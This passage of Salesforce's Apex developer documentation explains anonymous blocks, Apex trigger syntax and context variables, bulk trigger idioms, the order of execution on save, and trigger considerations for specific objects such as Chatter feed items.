• If an Apex trigger within an anonymous block completes successfully, the changes are committed to the database only after all
operations in the block finish executing and don’t cause any errors. If your Apex trigger doesn’t complete successfully, any changes
made to the database in the anonymous block are rolled back.
• Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
• Don’t have a scope other than local. For example, although it’s legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
• When you define a class or interface (a custom type) in an anonymous block, it’s considered virtual by default when the anonymous
block executes. This fact is true even if your custom type wasn’t defined with the virtual modifier. To avoid this from happening,
save your class or interface in Salesforce. (Classes and interfaces defined in an anonymous block aren’t saved in your org.)
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables can’t be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1
doesn’t:
Integer int1 = 0;

void myProcedure1() {
myProcedure2();
}

void myProcedure2() {
int1++;
}

myProcedure1();

The returned result for anonymous blocks includes:

• Status information for the compile and execute phases of the call, including any errors that occur
• The debug log content, including the output of any calls to the System.debug method (see Debug Log on page 642)
• The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack
element
For more information, see executeAnonymous(), Working with Logs in the Developer Console, and Salesforce extensions for Visual
Studio Code and Code Builder.

Executing Anonymous Apex through the API and the Author Apex Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the org, users must have the
Author Apex permission. For users who don’t have the Author Apex permission, the API allows restricted execution of anonymous Apex.
This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the API, but not in the
Developer Console. Such users are allowed to run the following in an anonymous block.
• Code that they write in the anonymous block
• Web service methods (methods declared with the webservice keyword) that are saved in the org
• Any built-in Apex methods that are part of the Apex language
Running any other Apex code isn’t allowed when the user doesn’t have the Author Apex permission. For example, calling methods of
custom Apex classes that are saved in the org isn’t allowed nor is using custom classes as arguments to built-in methods.

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When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.

SEE ALSO:
Named Credentials as Callout Endpoints

Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes:
• Before or after an insert operation
• Before or after an update operation
• Before or after a delete operation
• Before or after a merge operation
• Before or after an upsert operation
• After an undelete operation
An Apex trigger can also execute after the undelete operation.
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.
There are two types of triggers.
• Before triggers are used to update or validate record values before they’re saved to the database.
• After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
326.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.

Implementation Considerations
Before creating triggers, consider the following:
• upsert triggers fire both before and after insert or before and after update triggers as appropriate.
• merge triggers fire both before and after delete for the losing records, and both before and after update triggers for the
winning record. See Triggers and Merge Statements on page 253.

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• Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 253.
• Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don’t see any history for the current
transaction.
• Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object
or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is
recorded.
• Callouts must be made asynchronously from a trigger so that the trigger process isn’t blocked while waiting for the external service's
response. The asynchronous callout is made in a background process, and the response is received when the external service returns
it. To make an asynchronous callout, use asynchronous Apex such as a future method. See Invoking Callouts Using Apex for more
information.
• In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.

1. Bulk Triggers
2. Trigger Syntax
3. Trigger Context Variables
4. Context Variable Considerations
5. Common Bulk Trigger Idioms
6. Defining Triggers
Trigger code is stored as metadata under the object with which they are associated.
7. Triggers and Merge Statements
8. Triggers and Recovered Records
9. Triggers and Order of Execution
When you save a record with an insert, update, or upsert statement, Salesforce performs a sequence of events in a certain
order.
10. Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
11. Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
12. Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
13. Trigger Considerations for Knowledge Articles
You can write triggers for KnowledgeArticleVersion objects. Learn when you can use triggers, and which actions don’t fire triggers,
like archiving articles.
14. Trigger Exceptions
15. Trigger and Bulk Request Best Practices

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Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.

Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.

Bulk triggers can handle both single record updates and bulk operations like:
• Data import
• Lightning Platform Bulk API calls
• Mass actions, such as record owner changes and deletes
• Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax
To define a trigger, use the following syntax:

trigger TriggerName on ObjectName (trigger_events) {

code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:
For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}

The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.

Trigger Context Variables

All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the
System.Trigger class.

Variable Usage
isExecuting Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.

isInsert Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.

isUpdate Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.

isDelete Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.

isBefore Returns true if this trigger was fired before any record was saved.

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Variable Usage
isAfter Returns true if this trigger was fired after all records were saved.

isUndelete Returns true if this trigger was fired after a record is recovered from the Recycle Bin. This recovery
can occur after an undelete operation from the Salesforce user interface, Apex, or the API.

new Returns a list of the new versions of the sObject records.

This sObject list is only available in insert, update, and undelete triggers, and the records
can only be modified in before triggers.

newMap A map of IDs to the new versions of the sObject records.

This map is only available in before update, after insert, after update, and
after undelete triggers.

old Returns a list of the old versions of the sObject records.

This sObject list is only available in update and delete triggers.

oldMap A map of IDs to the old versions of the sObject records.

This map is only available in update and delete triggers.

operationType Returns an enum of type System.TriggerOperation corresponding to the current operation.

Possible values of the System.TriggerOperation enum are: BEFORE_INSERT, BEFORE_UPDATE,
BEFORE_DELETE,AFTER_INSERT, AFTER_UPDATE, AFTER_DELETE, and
AFTER_UNDELETE. If you vary your programming logic based on different trigger types, consider
using the switch statement with different permutations of unique trigger execution enum states.

size The number of records processed in a trigger invocation. DML operations that include over 200
records are processed in batches, and the trigger is invoked for each batch. Trigger.size
includes only the number of records in the current batch, not the total number of records in the DML
operation.

Note: The record firing a trigger can include an invalid field value, such as a formula that divides by zero. In this case, the field
value is set to null in these variables:
• new
• newMap
• old
• oldMap

For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop. It can also be used as
a bind variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}

// This single query finds every contact that is associated with any of the

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// triggering accounts. Note that although Trigger.new is a collection of

// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}

This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {

// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {

// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}

// If the trigger is not a before trigger, it must be an after trigger.

} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}

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}
}}}

SEE ALSO:
Apex Reference Guide: TriggerOperation Enum
Switch Statements

Context Variable Considerations

Be aware of the following considerations for trigger context variables:
• trigger.new and trigger.old cannot be used in Apex DML operations.
• You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
• trigger.old is always read-only.
• You cannot delete trigger.new.
The following table lists considerations about certain actions in different trigger events:

Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
before insert Allowed. Not applicable. The original Not applicable. The original
object has not been created; object has not been created;
nothing can reference it, so nothing can reference it, so
nothing can update it. nothing can update it.

after insert Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown, as trigger.new is object is deleted immediately
already saved. after being inserted.

before update Allowed. Not allowed. A runtime error is Not allowed. A runtime error is
thrown. thrown.

after update Not allowed. A runtime error is Allowed. Even though bad code Allowed. The updates are saved
thrown, as trigger.new is could cause an infinite recursion before the object is deleted, so
already saved. doing this incorrectly, the error if the object is undeleted, the
would be found by the governor updates become visible.
limits.

before delete Not allowed. A runtime error is Allowed. The updates are saved Not allowed. A runtime error is
thrown. trigger.new is not before the object is deleted, so thrown. The deletion is already
available in before delete if the object is undeleted, the in progress.
triggers. updates become visible.

after delete Not allowed. A runtime error is Not applicable. The object has Not applicable. The object has
thrown. trigger.new is not already been deleted. already been deleted.
available in after delete triggers.

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Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
after undelete Not allowed. A runtime error is Allowed. Allowed, but unnecessary. The
thrown. object is deleted immediately
after being inserted.

Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult
for developers to understand and code because they involve processing batches of several records at a time. The following sections
provide examples of idioms that should be used frequently when writing in bulk.

Using Maps and Sets in Bulk Triggers

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps
can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem
records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their
associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems
in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {

// For every OpportunityLineItem record, add its associated pricebook entry

// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);

// Query the PricebookEntries for their associated product color and place the results

// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);

// Now use the map to set the appropriate color on every OpportunityLineItem processed

// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}

Correlating Records with Query Results in Bulk Triggers

Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this
trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).

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The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}

Using Triggers to Insert or Update Records with Unique Fields

When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the
error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct
by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new
keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert
event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the
changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second
record is no longer valid.

Defining Triggers
Trigger code is stored as metadata under the object with which they are associated.
To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.

Tip: For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Salesforce extensions
for Visual Studio Code. Alternatively, you can also use the Metadata API.

2. In the Triggers list, click New.

3. To specify the version of Apex and the API used with this trigger, click Version Settings. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Associate
the trigger with the most recent version of Apex and the API and each managed package by using the default values for all versions.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version.
4. Click Apex Trigger and select the Is Active checkbox if you want to compile and enable the trigger. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:

trigger TriggerName on ObjectName (trigger_events) {

code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:
• before insert

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• before update
• before delete
• after insert
• after update
• after delete
• after undelete

Note:
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error
when the trigger is called in bulk from the Lightning Platform API.
• Suppose that you use an after-insert or after-update trigger to change ownership of leads, contacts, or opportunities. If
you use the API to change record ownership, or if a Lightning Experience user changes a record’s owner, no email notification
is sent. To send email notifications to a record’s new owner, set the triggerUserEmail property in DMLOptions to
true.

6. Click Save.

Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user resaves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if they’re in a lookup relationship.

The Apex Trigger Editor

The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.

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Undo ( ) and Redo ( )

Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements

Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:
Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were
deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after
losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is
only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result
of a merge, you need to use the after delete trigger event.
Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result
of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts,
such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.

Triggers and Recovered Records

The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered
from the Recycle Bin through the undelete DML statement. These are also called undeleted records.
The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also
be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete
trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes.
The after undelete trigger event only fires for custom objects and these standard objects.
• Account
• Asset
• Campaign
• Case

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• Contact
• ContentDocument
• Contract
• Event
• Lead
• Opportunity
• Product
• Solution
• Task

Triggers and Order of Execution

When you save a record with an insert, update, or upsert statement, Salesforce performs a sequence of events in a certain
order.
Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist
fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side.

Note: For a diagrammatic representation of the order of execution, see the Order of Execution Flowchart in the Salesforce Data
Model Gallery. The diagram is specific to the API version indicated on it, and can be out-of-sync with the information here. This
Apex Developer Guide page contains the most up-to-date information on the order of execution for this API version. To access a
different API version, use the version picker for the Apex Developer Guide.
On the server, Salesforce performs events in this sequence.

Note: During a recursive save, Salesforce skips steps 9 (assignment rules) through 17 (roll-up summary field in the grandparent
record).
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
Salesforce performs different validation checks depending on the type of request.
• For requests from a standard UI edit page, Salesforce runs these system validation checks on the record:
– Compliance with layout-specific rules
– Required values at the layout level and field-definition level
– Valid field formats
– Maximum field length
Additionally, if the request is from a User object on a standard UI edit page, Salesforce runs custom validation rules.

• For requests from multiline item creation such as quote line items and opportunity line items, Salesforce runs custom validation
rules.
• For requests from other sources such as an Apex application or a SOAP API call, Salesforce validates foreign keys, field formats,
maximum field lengths, and restricted picklists. Before executing a trigger, Salesforce verifies that any custom foreign keys don’t
refer to the object itself.

3. Executes record-triggered flows that are configured to run before the record is saved.
4. Executes all before triggers.

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5. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any custom
validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI
edit page) is the enforcement of layout-specific rules.
6. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record isn’t saved
and no further steps, such as after triggers and workflow rules, are taken.
7. Saves the record to the database, but doesn't commit yet.
8. Executes all after triggers.
9. Executes assignment rules.
10. Executes auto-response rules.
11. Executes workflow rules. If there are workflow field updates:

Note: This sequence applies only to workflow rules.

a. Updates the record again.

b. Runs system validations again. Custom validation rules, flows, duplicate rules, processes built with Process Builder, and escalation
rules aren’t run again.
c. Executes before update triggers and after update triggers, regardless of the record operation (insert or update),
one more time (and only one more time)

12. Executes escalation rules.

13. Executes these Salesforce Flow automations, but not in a guaranteed order.
• Processes built with Process Builder
• Flows launched by workflow rules (flow trigger workflow actions pilot)

Note: To control the order of execution of Salesforce Flow automations, use record-triggered flows. See Manage
Record-Triggered Flows
When a process or flow executes a DML operation, the affected record goes through the save procedure.

14. Executes record-triggered flows that are configured to run after the record is saved
15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up
summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow,
performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save
procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. After the changes are committed to the database, executes post-commit logic. Examples of post-commit logic (in no particular
order) include:
• Sending email
• Enqueued asynchronous Apex jobs, including queueable jobs and future methods
• Asynchronous paths in record-triggered flows

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Additional Considerations
Note these considerations when working with triggers.
• If a workflow rule field update is triggered by a record update, Trigger.old doesn’t hold the newly updated field by the workflow
after the update. Instead, Trigger.old holds the object before the initial record update was made. For example, an existing
record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule field update fires and increments
it to 11. In the update trigger that fires after the workflow field update, the field value of the object obtained from Trigger.old
is the original value of 1, and not 10. See Trigger.old values before and after update triggers.
• If a DML call is made with partial success allowed, triggers are fired during the first attempt and are fired again during subsequent
attempts. Because these trigger invocations are part of the same transaction, static class variables that are accessed by the trigger
aren't reset. See Bulk DML Exception Handling.
• If more than one trigger is defined on an object for the same event, the order of trigger execution isn't guaranteed. For example, if
you have two before insert triggers for Case and a new Case record is inserted. The firing order of these two triggers isn’t
guaranteed.
• To learn about the order of execution when you insert a non-private contact in your org that associates a contact to multiple accounts,
see AccountContactRelation.
• To learn about the order of execution when you’re using before triggers to set Stage and Forecast Category, see
Opportunity.
• In API version 53.0 and earlier, after-save record-triggered flows run after entitlements are executed.

SEE ALSO:
Salesforce Help: Triggers for Autolaunched Flows

Operations That Don't Invoke Triggers

Some operations don’t invoke triggers.
Triggers are invoked for data manipulation language (DML) operations that the Java application server initiates or processes. Therefore,
some system bulk operations don't invoke triggers. Some examples include:
• Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
• Cascading updates of child records that are reparented as a result of a merge operation
• Mass campaign status changes
• Mass division transfers
• Mass address updates
• Mass approval request transfers
• Mass email actions
• Modifying custom field data types
• Renaming or replacing picklists
• Managing price books
• Changing a user's default division with the transfer division option checked
• Changes to the following objects:
– BrandTemplate
– MassEmailTemplate
– Folder

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• Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
• Update triggers don’t fire on FeedItem when the LikeCount counter increases.

Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.

The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
• insert of accounts, contacts, and opportunities
• update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
The before and after triggers and the validation rules don't fire for an opportunity when:
• You modify an opportunity product on an opportunity.
• An opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity.
However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
• Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.

Note: Content packs are revised when a slide inside the pack is revised.

• Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
• You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object don’t fire when:
• the attachment is created via Case Feed publisher.
• the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.

Entity and Field Considerations in Triggers

When you create triggers, consider the behavior of certain entities, fields, and operations.

QuestionDataCategorySelection Entity Not Available in After Insert Triggers

The after insert trigger that fires after inserting one or more Question records doesn’t have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesn’t return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =

[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];

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Fields Not Updateable in Before Triggers

Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields
cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
• Task.isClosed
• Opportunity.amount*
• Opportunity.ForecastCategory
• Opportunity.isWon
• Opportunity.isClosed
• Contract.activatedDate
• Contract.activatedById
• Case.isClosed
• Solution.isReviewed
• Id (for all records)**
• createdDate (for all records)**
• lastUpdated (for all records)
• Event.WhoId (when Shared Activities is enabled)
• Task.WhoId (when Shared Activities is enabled)
* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.

Fields Not Updateable in After Triggers

The following fields can’t be updated by after insert or after update triggers.
• Event.WhoId
• Task.WhoId

Considerations for Event DateTime Fields in Insert and Update Triggers

We recommend using the following date and time fields to create or update events.
• When creating or updating a timed Event, use ActivityDateTime to avoid issues with inconsistent date and time values.
• When creating or updating an all-day Event, use ActivityDate to avoid issues with inconsistent date and time values.
• We recommend that you use DurationInMinutes because it works with all updates and creates for Events.

Operations Not Supported in Insert and Update Triggers

The following operations aren’t supported in insert and update triggers.
• Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
• Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled

Entities Not Supported in After Undelete Triggers

Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers.
• CollaborationGroup

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• CollaborationGroupMember
• FeedItem
• FeedComment

Considerations for Update Triggers

Field history tracking honors the permissions of the current user. If the current user doesn’t have permission to directly edit an object or
field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.

Considerations for the Salesforce Side Panel for Salesforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields aren’t immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.

SEE ALSO:
Triggers for Chatter Objects

Triggers for Chatter Objects

You can write triggers for the FeedItem and FeedComment objects.

Trigger Considerations for FeedItem, FeedAttachment, and FeedComment

• Only FeedItems of type TextPost, QuestionPost, LinkPost, HasLink, ContentPost, and HasContent can be
inserted, and therefore invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers
to fire.
• While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against
versions before 21.0.
• For FeedItem, the following fields aren’t available in the before insert trigger:
– ContentSize
– ContentType
In addition, the ContentData field isn’t available in any delete trigger.

• Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll

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• FeedAttachment isn’t a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query. For
example:
trigger FeedItemTrigger on FeedItem (after update) {

List<FeedAttachment> attachments = [SELECT Id, Title, Type, FeedEntityId

FROM FeedAttachment
WHERE FeedEntityId IN :Trigger.new ];

for (FeedAttachment attachment : attachments) {

System.debug(attachment.Type);
}
}

• When you insert a feed item with associated attachments, the FeedItem is inserted first, then the FeedAttachment records are
created. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, in Salesforce Classic FeedAttachment is available in Update and
AfterInsert triggers. When the attachment is done through Lightning Experience, it’s available in both the Update and
AfterInsert triggers; but in the AfterInsert trigger, use the future method to access FeedAttachments.
• The following feed attachment operations cause the FeedItem update triggers to fire.
– A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
– A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.

• FeedItem triggers aren’t fired when inserting or updating a FeedAttachment that doesn’t cause a change on the associated FeedItem.
• You can’t insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
• For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) aren’t available.

Other Chatter Trigger Considerations

• Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be
a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group in
the FeedItem record.
• When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member
count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update
triggers run as well.

SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Lightning Platform: FeedItem
Object Reference for Salesforce and Lightning Platform: FeedAttachment
Object Reference for Salesforce and Lightning Platform: FeedComment
Object Reference for Salesforce and Lightning Platform: CollaborationGroup
